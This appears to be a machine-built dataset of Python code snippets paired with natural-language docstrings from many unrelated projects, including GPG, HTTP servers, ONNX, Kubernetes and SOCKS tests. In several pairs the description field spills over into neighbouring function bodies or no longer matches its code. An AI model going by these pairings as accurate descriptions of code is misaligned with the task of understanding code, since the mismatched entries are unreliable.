cmd,\n stdin=self.null,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n pub_re = re.compile(\"^pub:\")\n uid_re = re.compile(\"^uid:\")\n key_tuples = []\n name = keyid = None\n for line in gpg.stdout:\n if pub_re.match(line):\n lineparts = line.split(\":\")\n keyid = lineparts[4]\n elif keyid and uid_re.match(line):\n lineparts = line.split(\":\")\n name = lineparts[9]\n PiusUtil.debug(\"Got id %s for %s\" % (keyid, name))\n key_tuples.append((name, keyid))\n name = keyid = None\n\n if self.sort_keyring:\n keyids = [i[1] for i in sorted(key_tuples)]\n else:\n keyids = [i[1] for i in key_tuples]\n return keyids\n", "nl": "Cleanup all our temp files.PiusUtil.clean_files([self.tmp_keyring, (\"%s~\" % self.tmp_keyring)])def get_all_keyids(self):Given a keyring, get all the KeyIDs from it."} {"code": "def is_valid_port(port):\n\n try:\n return 0 < int(port) <= 65535\n except ValueError:\n return False\n\n", "nl": "Validate a port.:param port: port to validate.:type port: ``(string, int)``:returns: True if is valid else False:rtype: ``bool``"} {"code": "def in_years(self):\n return self.years\n", "nl": "Gives the duration of the Period in full years.:rtype: int"} {"code": "def test_4(self):\n self.check(b, a)\n", "nl": "b = x = raw_input(foo(a) + 6)a = x = input(foo(a) + 6)"} {"code": "def init(directory=None):\n not including themes. Note that 'includes' take priority.\"\"\"", "nl": "Initializes a Gitpress presentation repository at the specified directory.repo = repo_path(directory)if os.path.isdir(repo):raise RepositoryAlreadyExistsError(directory, repo)# Initialize repository with default templateshutil.copytree(default_template_path, repo)message = '\"Default presentation content.\"'subprocess.call(['git', 'init', '-q', repo])subprocess.call(['git', 'add', '.'], cwd=repo)subprocess.call(['git', 'commit', '-q', '-m', message], cwd=repo)return repodef presentation_files(path=None, excludes=None, includes=None):Gets a list of the repository presentation files relative to 'path',"} {"code": "def _using_stdout(self):\n if WINDOWS and colorama:\n return self.stream.wrapped is sys.stdout\n\n return self.stream is sys.stdout\n", "nl": "Return whether the handler is using sys.stdout."} {"code": "def send_response_only(self, code, message=None):\n if self.request_version != 'HTTP/0.9':\n if not hasattr(self, '_headers_buffer'):\n self._headers_buffer = []\n self._headers_buffer.append(\n (\"%s: %s\\r\\n\" % (keyword, value)).encode('latin-1', 'strict'))\n\n if keyword.lower() == 'connection':\n if value.lower() == 'close':\n self.close_connection = True\n elif value.lower() == 'keep-alive':\n self.close_connection = False\n", "nl": "Send the response header only.if self.request_version != 'HTTP/0.9':if message is None:if code in self.responses:message = self.responses[code][0]else:message = ''if not hasattr(self, '_headers_buffer'):self._headers_buffer = []self._headers_buffer.append((\"%s %d %s\\r\\n\" %(self.protocol_version, code, message)).encode('latin-1', 'strict'))def send_header(self, keyword, value):Send a MIME header to the headers buffer."} {"code": "def onnx_get_input_nodes(graph, node):\n in_nodes = []\n for i in node.input:\n for n in graph.node:\n if i in n.output:\n in_nodes.append(n)\n return in_nodes\n\n", "nl": "Return all nodes that are inputs for a nodeParameters----------graph : ONNX GraphProtoSpecifies a GraphProto object.node : ONNX NodeProtoSpecifies a NodeProto object.Returns-------listlist of NodeProto"} {"code": "def update_default_ethereum_ledger_api(ethereum_testnet_config):\n client = docker.from_env()\n image = GanacheDockerImage(\n client, \"http://127.0.0.1\", 8545, config=ganache_configuration\n )\n yield from _launch_image(image, timeout=timeout, max_attempts=max_attempts)\n\n\n@pytest.mark.integration\n@pytest.fixture(scope=\"class\")", "nl": "Change temporarily default Ethereum ledger api configurations to interact with local Ganache.old_config = DEFAULT_LEDGER_CONFIGS.pop(EthereumCrypto.identifier, None)DEFAULT_LEDGER_CONFIGS[EthereumCrypto.identifier] = ethereum_testnet_configyieldDEFAULT_LEDGER_CONFIGS.pop(EthereumCrypto.identifier)DEFAULT_LEDGER_CONFIGS[EthereumCrypto.identifier] = old_config@pytest.mark.integration@pytest.mark.ledger@pytest.fixture(scope=\"class\")def ganache(ganache_configuration,ganache_addr,ganache_port,timeout: float = 2.0,max_attempts: int = 10,):Launch the Ganache image."} {"code": "def stop(self) -> int:\n res = push_action_name(self.queue_client, QueueActions.STOP.name)\n while any(t.is_alive() and t.getName() == \"event_loop\" for t in threading.enumerate()):\n time.sleep(0.25)\n return res\n", "nl": "Method to elegantly stop the asyncio event loop & any associated threads.This method will only be executed when all active task have finished executing.If there are any pending tasks left in the clients queue then these can be executedonce PytaskIO is run again.Example::pytaskio = PyTaskIO()pytaskio.run()try:metadata = pytask.add_task(send_email, title, body)except RunTimeError:res = pytaskio.stop()print(res) # index of queue work item:return: The queue index"} {"code": "def init_failed(self, mapper, class_, oldinit, instance, args, kwargs):\n return EXT_CONTINUE\n", "nl": "Receive an instance when its constructor has been called,and raised an exception.This method is only called during a userland construction ofan object. It is not called when an object is loaded from thedatabase.The return value is only significant within the ``MapperExtension``chain; the parent mapper's behavior isn't modified by this method."} {"code": "def get_oplog_cursor(self, timestamp=None):\n query = {\"op\": {\"$ne\": \"n\"}}\n if timestamp is None:\n cursor = self.oplog.find(query, cursor_type=CursorType.TAILABLE_AWAIT)\n else:\n query[\"ts\"] = {\"$gte\": timestamp}\n cursor = self.oplog.find(\n query, cursor_type=CursorType.TAILABLE_AWAIT, oplog_replay=True\n )\n return cursor\n", "nl": "Get a cursor to the oplog after the given timestamp, excludingno-op entries.If no timestamp is specified, returns a cursor to the entire oplog."} {"code": "def test_wo_update_fields(self):\n G(models.TestModel, int_field=1)\n G(models.TestModel, int_field=2)\n models.TestModel.objects.bulk_upsert([\n models.TestModel(int_field=1), models.TestModel(int_field=2), models.TestModel(int_field=3)\n ], ['int_field'])\n self.assertEquals(models.TestModel.objects.count(), 3)\n for test_model, expected_int_value in zip(models.TestModel.objects.order_by('int_field'), [1, 2, 3]):\n self.assertEquals(test_model.int_field, expected_int_value)\n", "nl": "Tests bulk_upsert with no update fields. This function in turn should just do a bulk create for anymodels that do not already exist."} {"code": "def __init__(self, nums):\n self.res = [0] * (len(nums) + 1)\n self.data = list(nums)\n for i in range(len(self.data)):\n self.res[i + 1] = self.res[i] + nums[i]\n", "nl": "initialize your data structure here.:type nums: List[int]"} {"code": "def compute_l2_loss(self, hm_targets, hm_preds, vismap, ohem=1.0):\n epsilon = 0.0001\n hm_preds = F.relu(hm_preds, False)\n b, k, h, w = hm_targets.size()\n hm_targets = hm_targets.view(b, k, -1)\n hm_preds = hm_preds.view(b, k, -1)\n vismap = vismap.view(b, k, 1).repeat(1, 1, h * w)\n ids = vismap == 1\n diff = (hm_targets - hm_preds)**2\n total_loss = (diff * ids.float()).sum(2).sum(0) / (ids.float().sum(2).sum(0) + epsilon)\n if ohem < 1:\n k = int(total_loss.size(0) * ohem)\n total_loss, _ = total_loss.topk(k)\n return total_loss.mean()\n", "nl": ":param hm_targets: [batch size, keypoint number, h, w]:param hm_preds: [batch size, keypoint number, h, w]:param vismap: [batch size, keypoint number]:return:"} {"code": "def test_malformed_json_flattens_correctly(self):\n _dict = transforms.loads(json_text, strict=False)\n _flat = mapreduce.CsvGenerator._flatten_json(_dict.get('rows')[0])\n\n assert 3 == len(_flat.items())\n assert 'bar' == _flat.get('foo')\n assert 'bum' == _flat.get('good_json_bee')\n assert '{\\'\\'' == _flat.get('bad_json')", "nl": "json_text = {\"rows\": [{\"foo\": \"bar\", \"good_json\": \"{'bee': 'bum',}\", \"bad_json\": \"{''\"}],}"} {"code": "def iKeyDirection(self):\n if not self.has_input:\n raise Exception(", "nl": "(TS, 2D float32 vector, RO) Direction according to ASWD / arrow keys.If A or left arrow is pressed, then ``self.iKeyDirection`` is ``vec(-1.0, 0.0)``.If D or right arrow is pressed, then ``self.iKeyDirection`` is ``vec(1.0, 0.0)``.If W or up arrow is pressed, then ``self.iKeyDirection`` is ``vec(0.0, 1.0)``.If S or down arrow is pressed, then ``self.iKeyDirection`` is ``vec(0.0, -1.0)``."} {"code": "def test_applyMMSI_scales():\n t_input = np.array([[20,20,50,20,20],[20,20,55,20,20],[20,20,50,20,20]], dtype='uint8')\n filts = singularity_index.SingularityIndexFilters(nrScales=2)\n [psi, widthMap, orient] = singularity_index.applyMMSI(t_input,filts)\n psi_max = np.max(psi)\n psi_bool = psi==psi_max\n assert psi_bool[1,2] == True", "nl": "Testing with more than just 1 scale size"} {"code": "def align_ts_to_clip_boundaries(self, duration, ts):\n clip_aligned_ts = np.array([math.floor(ts[0] / self.clip_length),\n math.ceil(ts[1] / self.clip_length)]) * self.clip_length\n clip_aligned_ts[1] = min(clip_aligned_ts[1], duration)\n return clip_aligned_ts\n", "nl": " # TODO Do we really need this???Generate a moment [st, ed] that is most close to a clip boundary,st and ed must be a multiple of self.clip_length, and ed <= durationduration: float,ts: [st (float), ed (float)], ground_truth ts"} {"code": "def _InternalUnpackAny(msg):\n from google.protobuf import symbol_database\n factory = symbol_database.Default()\n\n type_url = msg.type_url\n\n if not type_url:\n return None\n\n type_name = type_url.split('/')[-1]\n descriptor = factory.pool.FindMessageTypeByName(type_name)\n\n if descriptor is None:\n return None\n\n message_class = factory.GetPrototype(descriptor)\n message = message_class()\n\n message.ParseFromString(msg.value)\n return message\n\n", "nl": "Unpacks Any message and returns the unpacked message.This internal method is different from public Any Unpack method which takesthe target message as argument. _InternalUnpackAny method does not havetarget message type and need to find the message type in descriptor pool.Args:msg: An Any message to be unpacked.Returns:The unpacked message."} {"code": "def processVideoThreaded(self, device):\n\n print \"Create producer process...\"\n p = Process(target=self.threadProducer, args=[device])\n p.daemon = True\n print\"Create consumer process...\"\n c = Process(target=self.threadConsumer, args=[])\n c.daemon = True\n p.start()\n c.start()\n\n c.join()\n p.join()\n", "nl": "Use video as input:param device: device id:return: None"} {"code": "def match_inherit(self, line):\n m = self.require_re.match(line)\n keyword = \"requires\"\n if not m:\n m = self.include_re.match(line)\n keyword = \"includes\"\n return (m, keyword)\n", "nl": "Match the inherit xxx linereturn (self.inherit_re.match(line), \"inherits\")def match_require_include(self, line):Match the require/include xxx line"} {"code": "def get_core_api():\n global core_api\n\n if core_api is None:\n config.load_kube_config()\n if API_KEY is not None:\n configuration = client.Configuration()\n configuration.api_key['authorization'] = API_KEY\n configuration.api_key_prefix['authorization'] = 'Bearer'\n core_api = client.CoreV1Api(client.ApiClient(configuration))\n else:\n core_api = client.CoreV1Api()\n\n return core_api\n\n", "nl": "Create instance of Core V1 API of kubernetes:https://github.com/kubernetes-client/python/blob/master/kubernetes/docs/CoreV1Api.md:return: instance of client"} {"code": "def center_crop(img, target_size, bias=(0,0)):\n diff_x = img.shape[0] - target_size[0]\n diff_y = img.shape[1] - target_size[1]\n img = cv2.copyMakeBorder(img, np.abs(bias[0]), np.abs(bias[0]), np.abs(bias[1]), np.abs(bias[1]), cv2.BORDER_REPLICATE)\n\n start_x = int(diff_x // 2) + bias[0] + np.abs(bias[0])\n start_y = int(diff_y // 2) + bias[1] + np.abs(bias[1])\n if len(img.shape) > 2:\n img2 = img[start_x:start_x + target_size[0], start_y:start_y + target_size[1], :]\n else:\n img2 = img[start_x:start_x + target_size[0], start_y:start_y + target_size[1]]\n return img2\n", "nl": "center crop on numpy data.:param img: H x W x C:param target_size: h x w:param bias: the bias to the center,:return: h x w x C"} {"code": "def _getobj(self):\n chain = self.listchain()\n chain.reverse()\n parts = []\n for node in chain:\n if isinstance(node, Instance):\n continue\n name = node.name\n if isinstance(node, Module):\n name = os.path.splitext(name)[0]\n if stopatmodule:\n if includemodule:\n parts.append(name)\n break\n parts.append(name)\n parts.reverse()\n s = \".\".join(parts)\n return s.replace(\".[\", \"[\")\n", "nl": "Gets the underlying Python object. May be overwritten by subclasses.return getattr(self.parent.obj, self.name)def getmodpath(self, stopatmodule=True, includemodule=False): return python path relative to the containing module. "} {"code": "def save_output_images(prediction, filename, output_dir):\n\tim = Image.fromarray(prediction.astype(np.uint8))\n\t_, fn = os.path.split(filename)\n\tfn = os.path.join(output_dir, fn[:-4] + '.png')\n\tout_dir = os.path.split(fn)[0]\n\tif not os.path.exists(out_dir):\n\t\tos.makedirs(out_dir)\n\tim.save(fn)\n\n", "nl": "Saves a given (B x C x H x W) into an image file.If given a mini-batch tensor, will save the tensor as a grid of images."} {"code": "def test_outgoing_keys(self):\n message = self.create_outgoing_message()\n config = {\"sendsms_url\": \"http://example.com\"}\n backend = VumiBackend(None, \"vumi\", **config)\n kwargs = backend.prepare_request(message.id, message.text,\n [message.connections[0].identity],\n {'external_id': 'ASDF1234'})\n data = json.loads(kwargs['data'])\n self.assertEqual(\"ASDF1234\", data['in_reply_to'])\n", "nl": "Vumi requires JSON to include to_addr and content.message = self.create_outgoing_message()config = {\"sendsms_url\": \"http://example.com\"}backend = VumiBackend(None, \"vumi\", **config)kwargs = backend.prepare_request(message.id, message.text,[message.connections[0].identity], {})self.assertEqual(kwargs['url'], config['sendsms_url'])data = json.loads(kwargs['data'])self.assertEqual(data['to_addr'], [message.connections[0].identity])self.assertEqual(data['content'], message.text)def test_response_external_id(self):Make sure external_id context is sent to Vumi."} {"code": "def _parse_file(self, file_name) -> List[EventReference]:\n events = []\n for path in paths:\n for root, _, files in os.walk(path):\n for file in [x for x in files if x.endswith('.py')]:\n events.extend(self._parse_file(os.path.join(root, file)))\n\n return events", "nl": "Parse one file and return all events from that file.try:with open(file_name) as f:my_ast = ast.parse(f.read())except Exception:raise AssertionError(\"Error while parsing {}\".format(file_name))event_list = []for x in ast.walk(my_ast):if isinstance(x, ast.ClassDef):class_label = Noneconfig_section = Nonefor statement in x.body:if isinstance(statement, ast.Assign) and len(statement.targets) == 1 and \\isinstance(statement.targets[0], ast.Name) and isinstance(statement.value, ast.Str):if statement.targets[0].id == \"class_label\":class_label = str(statement.value.s)elif statement.targets[0].id == \"config_section\":config_section = [str(statement.value.s)]for y in ast.walk(x):if not (isinstance(y, ast.Str) and (y.s.strip().lower().startswith('event:'))):continueevent_dict = self._parse_string(y)if not event_dict:continueevent_list.append(EventReference(event_name=event_dict[\"event\"], file_name=file_name,config_section=config_section if not event_dict[\"config_section\"] elseevent_dict[\"config_section\"],class_label=class_label if not event_dict[\"class_label\"] else event_dict[\"class_label\"],desc=event_dict[\"desc\"],args=self._parse_args(event_dict[\"args\"]),config_attribute=event_dict[\"config_attribute\"]))return event_listdef _parse_string(self, string):string = '\\n'.join(' '.join(line.split())for line in string.s.split('\\n'))string = string.replace('Event:', 'event:')string = string.replace('Desc:', 'desc:')try:string = string.replace('Args:', 'args:')except ValueError:passfinal_dict = self._string_to_args_dict(string, ['event', 'desc','args', 'config_attribute','config_section', 'class_label'])if not final_dict['desc']:# not an events docstringreturn Noneif final_dict['config_section']:final_dict['config_section'] = final_dict['config_section'].split(\", \")return final_dictdef _parse_args(self, args_string):if args_string is None:return {}args = list()for x in re.findall(r'\\b(\\w*)\\b(?=:)', args_string):if x:args.append(x)args_dict = self._string_to_args_dict(args_string, args)return args_dict@staticmethoddef _string_to_args_dict(string, args):index_starts = list()for arg in args:try:index_starts.append(string.index(arg + ':'))except ValueError:passindex_starts.sort()sliced_list = list()for x, start in enumerate(index_starts):try:sliced_list.append(string[start:index_starts[x + 1]])except IndexError:sliced_list.append(string[start:])final_dict = dict()for entry in sliced_list:split_entry = entry.split(':', 1)final_dict[split_entry[0].strip()] = split_entry[1].strip()for arg in args:if arg not in final_dict:final_dict[arg] = Nonereturn final_dictdef get_events_from_path(self, paths) -> List[EventReference]:Parse paths recursively and return all events."} {"code": "def all_metrics(self, func: str) -> List[float]:\n", "nl": "Return all metric for a function `func`.return []class MetricCollector(MetricCollector):def total(self, func: str) -> float:return sum(self.all_metrics(func))def maximum(self, func: str) -> float:return max(self.all_metrics(func))class TimeCollector(MetricCollector):Collect time executed for each line"} {"code": "def test_return_value(self):\n self.router.apps[0].return_values['outgoing'] = False\n self.send('test', self.lookup_connections('1112223333'))\n self.assertEqual(0, len(self.sent_messages))\n", "nl": "Returning False from App.outgoing should prevent messagesbeing passed to the backends."} {"code": "def add(self, message):\n path = os.path.join(self._path, str(key))\n try:\n f = open(path, 'rb+')\n except IOError, e:\n if e.errno == errno.ENOENT:\n raise KeyError('No message with key: %s' % key)\n else:\n raise\n else:\n f.close()\n os.remove(path)\n", "nl": "Add message and return assigned key.keys = self.keys()if len(keys) == 0:new_key = 1else:new_key = max(keys) + 1new_path = os.path.join(self._path, str(new_key))f = _create_carefully(new_path)closed = Falsetry:if self._locked:_lock_file(f)try:try:self._dump_message(message, f)except BaseException:# Unlock and close so it can be deleted on Windowsif self._locked:_unlock_file(f)_sync_close(f)closed = Trueos.remove(new_path)raiseif isinstance(message, MHMessage):self._dump_sequences(message, new_key)finally:if self._locked:_unlock_file(f)finally:if not closed:_sync_close(f)return new_keydef remove(self, key):Remove the keyed message; raise KeyError if it doesn't exist."} {"code": "def authzreq(data):\n if 'RequestBody' in data:\n request_body = base64.b64decode(data['RequestBody'])\n _LOGGER.debug('request body: %s', request_body)\n request_obj = json.loads(request_body.decode())\n else:\n request_obj = {}\n\n for plugin in self._plugins:\n (allow, msg) = plugin.run_req(\n data['RequestMethod'], data['RequestUri'], request_obj,\n )\n _LOGGER.debug(\n 'Request %s: %s',\n plugin.__class__,\n ('Authorized' if allow else 'Not authorized'),\n )\n if not allow:\n break\n else:\n allow = True\n\n _LOGGER.info(\n 'Request: %s %s %s (%s)',\n data['RequestMethod'],\n data['RequestUri'],\n ('Authorized' if allow else 'Not authorized'),\n msg,\n )\n\n return (allow, msg)\n", "nl": "implement AuthZPlugin.AuthZReq"} {"code": "def elements(self):\n return _chain.from_iterable(_starmap(_repeat, self.iteritems()))\n\n\n @classmethod", "nl": "Iterator over elements repeating each as many times as its count.>>> c = Counter('ABCABC')>>> sorted(c.elements())['A', 'A', 'B', 'B', 'C', 'C']# Knuth's example for prime factors of 1836: 2**2 * 3**3 * 17**1>>> prime_factors = Counter({2: 2, 3: 3, 17: 1})>>> product = 1>>> for factor in prime_factors.elements(): # loop over factors... product *= factor # and multiply them>>> product1836Note, if an element's count has been set to zero or is a negativenumber, elements() will ignore it."} {"code": "def get_access_token():\n return raw_input('Enter access token:').strip()\n\n", "nl": "Prompt for and get the access token.This method is provided so that a consistent prompt is always used."} {"code": "def test_db_disconnect(self):\n mock_FileChooserDialog().run.return_value = Gtk.ResponseType.OK\n mock_FileChooserDialog().get_filename.return_value = \"Logbook.test_new.db\"\n self.logbook.new()\n assert(os.path.isfile(\"Logbook.test_new.db\"))\n\n @mock.patch('pyqso.auxiliary_dialogs.handle_gtk_dialog')", "nl": " Check that the logbook can disconnect from the database. disconnected = self.logbook.db_disconnect()assert(disconnected)# Attempt to disconnect again. This shouldn't do anything.disconnected = self.logbook.db_disconnect()assert(disconnected)@mock.patch('pyqso.auxiliary_dialogs.handle_gtk_dialog')@mock.patch('gi.repository.Gtk.FileChooserDialog')def test_new(self, mock_FileChooserDialog, mock_handle_gtk_dialog): Check that a new logbook can be created. "} {"code": "def materialize(self, path):\n os.makedirs(os.path.dirname(path), exist_ok=True)\n with open(path, 'wb') as f:\n f.write(self.payload)\n\n @contextlib.contextmanager", "nl": "Writes payload to path:param path: target path"} {"code": "def list_stock_picking(self):\n return self._response_for_manual_selection()\n", "nl": "List stock.picking records availableReturns a list of all the available records for the current pickingtype.Transitions:* manual_selection: to the selection screen"} {"code": "def enable_excepthook_for_threads():\n init_original = threading.Thread.__init__\n", "nl": "`sys.excepthook` isn't called for exceptions raised in non-main-threads.This workaround fixes this for instances of (non-subclasses of) Thread.See: http://bugs.python.org/issue1230540"} {"code": "def __len__(self) -> int:\n return len(list(self.__iter__()))\n\n", "nl": "Total number of the slides of this SlidesetReturns-------intnumber of the Slides."} {"code": "def squad_loss_fn(start_positions, end_positions, start_logits, end_logits):\n", "nl": "Returns sparse categorical crossentropy for start/end logits.start_loss = tf.keras.losses.sparse_categorical_crossentropy(start_positions, start_logits, from_logits=True)end_loss = tf.keras.losses.sparse_categorical_crossentropy(end_positions, end_logits, from_logits=True)total_loss = (tf.reduce_mean(start_loss) + tf.reduce_mean(end_loss)) / 2return total_lossdef get_loss_fn():Gets a loss function for squad task."} {"code": "def generate_index( self, key_column ):\n self.indices[key_column] = {}\n for i in range( 0, len(self.rows) ):\n row_map = self.row_map(i)\n key = self.row_map(i)[key_column]\n if key not in self.indices[key_column]:\n self.indices[key_column][key] = i\n", "nl": " Creates an index on the column in question to speed up 'find'>>> t = Table()>>> t.append_column(\"FirstName\")>>> t.append_column(\"LastName\")>>> t.append_row( [\"Curtis\", \"Lassam\"] )>>> t.append_row( [\"Jonathan\", \"Lassam\"] )>>> t.generate_index( \"FirstName\")These find operations now occur in O(1) instead of O(n)>>> t.find( \"FirstName\", \"Curtis\" )0>>> t.find( \"FirstName\", \"Jonathan\")1>>> t.find( \"FirstName\", \"Randall\")-1Note that, for now, the index is not modified when a new row is added.That's a definite TODO.>>> t.append_row( [\"Randall\", \"Mouthharp\"] )>>> t.find( \"FirstName\", \"Randall\" )-1>>> t.generate_index( \"FirstName\" )>>> t.find( \"FirstName\", \"Randall\" )2It's also important to note that the find operation still must alwaysreturn the _first_ match in the list.>>> t.append_row( [\"Curtis\", \"Incorrect\"] )>>> t.generate_index( \"FirstName\" )>>> t.find( \"FirstName\", \"Curtis\" )0"} {"code": "def setupErrorLogWindow(self, settings: QSettings) -> None:\n", "nl": "Creates, moves and resizes error log window, but does not show it."} {"code": "def __advanceFocusIfNotEmpty(self):\n focusItem = self.getFocusItem()\n assert isinstance(focusItem, DirectEntry)\n enteredText = focusItem.get()\n\n if enteredText != \"\":\n self.advanceFocus()\n else:\n self.setFocus(self.getFocusIndex())\n", "nl": "when enter is pressed, the focus will move to the next fieldif there is text entered in the current field. otherwise, itwill stay in the current field"} {"code": "def test_socks4a(self):\n clientRequest = (\n struct.pack('!BBH', 4, 2, 34)\n + socket.inet_aton('0.0.0.1')\n + b'fooBAZ\\0'\n + b'localhost\\0')\n\n for byte in iterbytes(clientRequest):\n self.sock.dataReceived(byte)\n\n sent = self.sock.transport.value()\n self.sock.transport.clear()\n\n self.assertEqual(\n sent,\n struct.pack('!BBH', 0, 90, 1234) + socket.inet_aton('6.7.8.9'))\n self.assertFalse(self.sock.transport.stringTCPTransport_closing)\n self.assertIsNotNone(self.sock.driver_listen)\n\n incoming = self.sock.driver_listen.buildProtocol(('127.0.0.1', 5345))\n self.assertIsNotNone(incoming)\n incoming.transport = StringTCPTransport()\n incoming.connectionMade()\n\n sent = self.sock.transport.value()\n self.sock.transport.clear()\n self.assertEqual(sent,\n struct.pack('!BBH', 0, 90, 0)\n + socket.inet_aton('0.0.0.0'))\n self.assertIsNot(\n self.sock.transport.stringTCPTransport_closing, None)\n\n self.sock.dataReceived(b'hi there')\n self.assertEqual(incoming.transport.value(), b'hi there')\n\n incoming.dataReceived(b'hi there')\n self.assertEqual(self.sock.transport.value(), b'hi there')\n\n self.sock.connectionLost('fake reason')\n\n", "nl": "If the destination IP address has zeros for the first three octets andnon-zero for the fourth octet, the client is attempting a v4aconnection. A hostname is specified after the user ID string and theserver connects to the address that hostname resolves to.@see: U{http://en.wikipedia.org/wiki/SOCKS#SOCKS_4a_protocol}"} {"code": "def unpack_question_dimid(dimension_id):\n unit_id, lesson_id, question_id = dimension_id.split(':')\n if lesson_id == 'None':\n lesson_id = None\n return unit_id, lesson_id, question_id\n\n\nclass ClusterDTO(object):\n \"\"\"Data transfer object for ClusterEntity.\"\"\"", "nl": "Decompose the dimension id into unit, lesson and question id.Returns:A tuple unit_id, lesson_id, question_id.unit_id and question_id are strings. lesson_id can be a string orNone."} {"code": "def write_core_register(self, reg, data):\n regIndex = register_name_to_index(reg)\n if is_single_float_register(regIndex) and type(data) is float:\n data = conversion.float32_to_u32(data)\n elif is_double_float_register(regIndex) and type(data) is float:\n data = conversion.float64_to_u64(data)\n self.write_core_register_raw(regIndex, data)\n", "nl": "write a CPU register.Will need to pack floating point register values before writing."} {"code": "def cls(val, disp):\n mask = 0x1\n ctr = 0\n sign_bit = disp\n disp -= 1\n while disp >= 0:\n cond = (val[sign_bit] ^ (((val & (mask << disp)) >> disp) & 0x1) == 0)\n ctr += (1 & cond)\n disp -= 1\n\n return ctr\n\n", "nl": " Count Leading Signs starting from bit disp.disp: 15 or 31"} {"code": "def get_mask_from_lengths(memory, memory_lengths):\n if cuda_version is not None and cuda_version >= 9.2:\n mask = memory.data.new(memory.size(0), memory.size(1)).bool().zero_()\n else:\n try:\n mask = memory.data.new(memory.size(0), memory.size(1)).byte().zero_()\n except Exception as e:\n print(\"Think you should check cuda version. Mask calculation needs this to be specified explicitly. \")\n sys.exit()\n\n for idx, l in enumerate(memory_lengths):\n mask[idx][:l] = 1\n return ~mask\n", "nl": "Get mask tensor from list of lengthArgs:memory: (batch, max_time, dim)memory_lengths: array like"} {"code": "def reset(self, epoch=None):\n self.episode_over = False\n self.has_failed = 0\n\n self.alive_mask = np.zeros(self.ncar)\n self.wait = np.zeros(self.ncar)\n self.cars_in_sys = 0\n\n self.chosen_path = [0] * self.ncar\n self.route_id = [-1] * self.ncar\n\n self.car_ids = np.arange(self.CAR_CLASS,self.CAR_CLASS + self.ncar)\n\n self.car_loc = np.zeros((self.ncar, len(self.dims)),dtype=int)\n self.car_last_act = np.zeros(self.ncar, dtype=int)\n\n self.car_route_loc = np.full(self.ncar, - 1)\n\n self.stat = dict()\n\n epoch_range = (self.curr_end - self.curr_start)\n add_rate_range = (self.add_rate_max - self.add_rate_min)\n if epoch is not None and epoch_range > 0 and add_rate_range > 0 and epoch > self.epoch_last_update:\n self.curriculum(epoch)\n self.epoch_last_update = epoch\n\n obs = self._get_obs()\n return obs\n", "nl": "Reset the state of the environment and returns an initial observation.Returns-------observation (object): the initial observation of the space."} {"code": "def get_withdraw_history(self, currency=None):\n\n if currency:\n transactions = self.private_api(self.url + \"transactions\",\n params={'currency': currency})[\"transactions\"]\n else:\n transactions = self.private_api(self.url + \"transactions\")[\"transactions\"]\n\n return [i for i in transactions if i[\"type\"] == \"atm_payment\"]\n", "nl": "Retrieves withdrawal history.if currency:transactions = self.private_api(self.url + \"transactions\",params={'currency': currency.upper()})[\"transactions\"]else:transactions = self.private_api(self.url + \"transactions\")[\"transactions\"]return [i for i in transactions if i[\"type\"] == \"withdraw\"]def get_deposit_history(self, currency=None):Retreive deposit history."} {"code": "defaults to '127.0.0.1', port 9000\n '''", "nl": "oscLock.acquire()outSocket.sendto( createBinaryMsg(oscAddress, dataArray), (ipAddr, port))oscLock.release()def createBundle():create bundled type of OSC messages"} {"code": "def refund(self, callerReference, transactionId, refundAmount=None, callerDescription=None):\n params = {}\n params['CallerReference'] = callerReference\n params['TransactionId'] = transactionId\n if(refundAmount != None):\n params['RefundAmount'] = refundAmount\n if(callerDescription != None):\n params['CallerDescription'] = callerDescription\n\n response = self.make_request(\"Refund\", params)\n body = response.read()\n if(response.status == 200):\n rs = ResultSet()\n h = handler.XmlHandler(rs, self)\n xml.sax.parseString(body, h)\n return rs\n else:\n raise FPSResponseError(response.status, response.reason, body)\n", "nl": "Refund a transaction. This refunds the full amount by default unless 'refundAmount' is specified."} {"code": "def argmax_(self):\n return self.enumerate_.minby_(lambda e: e[1])[0]\n", "nl": " Returns the index of the maximum value return self.enumerate_.maxby_(lambda e: e[1])[0]def argmin_(self): Returns the index of the minimum value "} {"code": "def test_multiple_imports(self):\n self.check(b, a)\n", "nl": "b = import urlparse, cStringIOa = import urllib.parse, io"} {"code": "def mock_add_spec(self, spec, spec_set=False):\n self._mock_add_spec(spec, spec_set)\n self._mock_set_magics()\n\n\n", "nl": "Add a spec to a mock. `spec` can either be an object or alist of strings. Only attributes on the `spec` can be fetched asattributes from the mock.If `spec_set` is True then only attributes on the spec can be set."} {"code": "def _collect_region(start_pos, board, visited=None):\n if visited is None:\n visited = {}\n if start_pos in visited:\n return [], set()\n all_points = [start_pos]\n all_borders = set()\n visited[start_pos] = True\n here = board.board.get(start_pos)\n r, c = start_pos\n deltas = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n for delta_r, delta_c in deltas:\n next_r, next_c = r + delta_r, c + delta_c\n if next_r < 0 or next_r >= board.board_size:\n continue\n if next_c < 0 or next_c >= board.board_size:\n continue\n neighbor = board.board.get((next_r, next_c))\n if neighbor == here:\n points, borders = _collect_region((next_r, next_c), board, visited)\n all_points += points\n all_borders |= borders\n else:\n all_borders.add(neighbor)\n return all_points, all_borders", "nl": "Find the contiguous section of a board containing a point. Alsoidentify all the boundary points."} {"code": "def prepare(self):\n pass\n", "nl": " Prepare for execution.This method should be overridden in search command classes that wish to examine and update their configurationor option settings prior to execution. It is called during the getinfo exchange before command metadata is sentto splunkd.:return: :const:`None`:rtype: NoneType"} {"code": "def test_median():\n\n score = scores.Outliers((band,))\n newcol = score.map(col)\n\n to_compare = {\n \"1210\": 1, \"7579\": 0, \"1159\": 1, \"1399\": 1, \"1171\": 1, \"1240\": 1,\n \"1200\": 1, \"1132\": 0, \"1328\": 1, \"1123\": 0, \"1168\": 1, \"1150\": 1,\n \"1178\": 1, \"0\": 0, \"1874\": 0, \"1846\": 1, \"3090\": 0, \"1100\": 0,\n \"1341\": 1, \"1249\": 1, \"1866\": 1}\n\n val_dict = tools.imagecollection.getValues(newcol, p, 30, side='client')\n\n compare = [(str(int(round(val[band]*10000))), val[\"score-outlier\"]) for key, val in val_dict.items()]\n compare = dict(compare)\n\n assert to_compare == compare\n\n", "nl": "# SECTION TO GENERATE THE RESULT TO COMPAREdef listval(band):def wrap(img, it):val = img.reduceRegion(ee.Reducer.first(), p, 30).get(band)return ee.List(it).add(ee.Number(val))return wraplist = col.iterate(listval(band), ee.List([]))# Sort list of valueslist = ee.List(list).sort()# assertEqual(list.getInfo(), val_list)# SCOREmean = ee.Number(list.reduce(ee.Reducer.mean()))std = 